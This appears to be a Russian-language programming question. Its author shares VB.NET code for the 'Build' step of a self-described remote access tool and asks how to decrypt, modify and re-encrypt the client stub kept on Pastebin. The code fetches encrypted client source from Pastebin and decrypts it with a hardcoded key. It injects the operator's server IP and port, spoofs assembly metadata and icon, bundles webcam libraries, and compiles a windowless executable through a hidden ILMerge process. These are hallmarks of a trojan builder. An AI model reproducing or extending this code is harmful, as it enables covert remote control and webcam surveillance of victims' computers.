Я знаю, название этого вопроса ужасно, однако позвольте мне объяснить, чего я пытаюсь достичь.
Во-первых, что делает эта программа?
Программа представляет собой инструмент удаленного доступа, который использует заглушку для создания клиента , который в настоящее время находится на Pastebin: https://pastebin.com/raw/jFwk2aAL
В значительной степени, когда пользователь, который управляет сервером (где все клиенты добавляются, если они открывают файл), чтобы создать программу, он нажимает кнопку с надписью " Build ". Когда нажата кнопка « Build », этот код запускается в действие:
Try
Dim dialog2 As New SaveFileDialog
dialog2.Filter = "Executables | *.exe"
dialog2.InitialDirectory = Application.StartupPath
dialog2.Title = "Select a path where the stub will be saved..."
If (dialog2.ShowDialog = DialogResult.OK) Then
Me.TR_Compile = New Thread(New ParameterizedThreadStart(AddressOf Me.lam__10))
Me.TR_Compile.Start(dialog2.FileName)
End If
dialog2 = Nothing
End If
Catch ex As Exception
Me.StatusBarMain.Text = ex.Message
End Try
Практически, именно здесь оператор сервера выбирает, где сохранить файл, будучи заглушкой (файл, который клиент откроет для отображения на сервере.)
После сохранения местоположения заглушки этот код вводится в действие:
Private Sub Compile(ByVal path As String)
Try
Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Initializing Build..."})
Dim source As String = Conversions.ToString(FormMain.RijndaelDecrypt(New WebClient().DownloadString("https://pastebin.com/raw/jFwk2aAL"), "308c036ab4ae32ff202d417d1e15cb667326201f4754644509b9079a81")).Replace("127.0.0.1", Me.tb_ip.Text).Replace("4432", Conversions.ToString(Me.nud_port.Value)).Replace("CLIENTID", Me.tb_clientid.Text).Replace("Single_Mutex_App_Instance", Me.TB_Mutex.Text).Replace("ASSEMBLYTITLE", Me.tb_assemblytitle.Text).Replace("ASSEMBLYDESCRIPTION", Me.tb_assemblydescription.Text).Replace("ASSEMBLYCOMPANY", Me.tb_assemblycompany.Text).Replace("ASSEMBLYPRODUCT", Me.tb_assemblyproduct.Text).Replace("ASSEMBLYCOPYRIGHT", Me.tb_assemblycopyright.Text).Replace("ASSEMBLYTRADEMARK", Me.tb_assemblytrademark.Text).Replace("3.5.2.4", String.Format("{0}.{1}.{2}.{3}", New Object() {Me.NumericUpDown9.Value, Me.NumericUpDown2.Value, Me.NumericUpDown3.Value, Me.NumericUpDown4.Value})).Replace("0.0.0.0", String.Format("{0}.{1}.{2}.{3}", New Object() {Me.NumericUpDown8.Value, Me.NumericUpDown7.Value, Me.NumericUpDown6.Value, Me.NumericUpDown5.Value})).Replace("L$01", Conversions.ToString(Me.CheckBox1.Checked)).Replace("L$02", Conversions.ToString(Me.RadioButton1.Checked)).Replace("L$03", Conversions.ToString(Me.RadioButton2.Checked)).Replace("L$04", Conversions.ToString(Me.RadioButton3.Checked)).Replace("L$05", Me.TextBox1.Text).Replace("L$06", Conversions.ToString(Interaction.IIf((Strings.Right(Me.TextBox2.Text, 4) = ".exe"), Me.TextBox2.Text, (Me.TextBox2.Text & ".exe")))).Replace("L$07", Conversions.ToString(Me.CheckBox2.Checked)).Replace("L$08", Conversions.ToString(Interaction.IIf((Strings.Right(Me.TextBox3.Text, 1) = "\"), Me.TextBox3.Text, (Me.TextBox3.Text & "\")))).Replace("L$09", Conversions.ToString(Me.CheckBox6.Checked)).Replace("L$10", Conversions.ToString(Me.CheckBox3.Checked)).Replace("L$11", Conversions.ToString(Me.CheckBox5.Checked)).Replace("L$12", Conversions.ToString(Me.CheckBox7.Checked)).Replace("L$13", Conversions.ToString(Convert.ToInt32(Me.NumericUpDown1.Value)))
Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Writing parameter to stub..."})
Dim compiler As ICodeCompiler = New VBCodeProvider().CreateCompiler
Dim options As New CompilerParameters
options.ReferencedAssemblies.Add("System.dll")
options.ReferencedAssemblies.Add("System.Windows.Forms.dll")
options.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
options.ReferencedAssemblies.Add("System.Management.dll")
options.ReferencedAssemblies.Add("System.Drawing.dll")
options.ReferencedAssemblies.Add("System.ServiceProcess.dll")
options.ReferencedAssemblies.Add("AForge.dll")
options.ReferencedAssemblies.Add("AForge.Controls.dll")
options.ReferencedAssemblies.Add("AForge.Video.DirectShow.dll")
options.ReferencedAssemblies.Add("AForge.Video.dll")
options.GenerateExecutable = True
options.OutputAssembly = path
options.CompilerOptions = "/target:winexe /platform:x86 /optimize+ /filealign:512"
Dim parameters2 As CompilerParameters = options
parameters2.CompilerOptions = Conversions.ToString(Operators.AddObject(parameters2.CompilerOptions, Interaction.IIf(Operators.ConditionalCompareObjectEqual(Me.PictureBox1.Tag, "", False), "", Operators.ConcatenateObject(" /win32icon:", Me.PictureBox1.Tag))))
Dim results As CompilerResults = compiler.CompileAssemblyFromSource(options, source)
Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Stub builded..."})
Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Merging Assemblies..."})
Dim startInfo As New ProcessStartInfo("ILMerge.exe")
startInfo.Arguments = String.Concat(New String() {"/target:winexe /out:""", path, """ """, path, """ AForge.Controls.dll AForge.dll AForge.Video.DirectShow.dll AForge.Video.dll"})
startInfo.WindowStyle = ProcessWindowStyle.Hidden
Process.Start(startInfo)
Thread.Sleep(&HBB8)
Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Finished build !"})
File.Delete(path.Replace(".exe", ".pdb"))
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {exception.Message})
ProjectData.ClearProjectError()
End Try
End Sub
В подпункте " Compile " программа загружает вставку, сделанную на pastebin, которая содержит некоторые зашифрованные символы. Затем программа использует эту функцию:
Public Shared Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String) As Object
Dim managed As New RijndaelManaged
Dim salt As Byte() = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim bytes As New Rfc2898DeriveBytes(UKeyU, salt)
managed.Key = bytes.GetBytes(managed.Key.Length)
managed.IV = bytes.GetBytes(managed.IV.Length)
Dim stream2 As New MemoryStream
Dim stream As New CryptoStream(stream2, managed.CreateDecryptor, CryptoStreamMode.Write)
Try
Dim buffer As Byte() = Convert.FromBase64String(UDecryptU)
stream.Write(buffer, 0, buffer.Length)
stream.Close()
UDecryptU = Encoding.UTF8.GetString(stream2.ToArray)
Catch exception1 As Exception
End Try
Return UDecryptU
End Function
для расшифровки текста, который находится на пастбине. Это прекрасно работает, однако, я хочу добавить свои собственные функции в заглушку, но я не могу, потому что текст зашифрован. Итак ...
Как я могу расшифровать этот текст, отредактировать его сам, а затем снова зашифровать, загрузить в другую вставку на pastebin, но при этом моя программа может расшифровать текст и успешно записать заглушку?
ПОЖАЛУЙСТА, КОММЕНТИРУЙТЕ НИЖЕ, ЕСЛИ ЧТО-ТО ВАМ НЕ ЯСНО.
Редактировать: Изменен текст, чтобы сделать этот вопрос более понятным.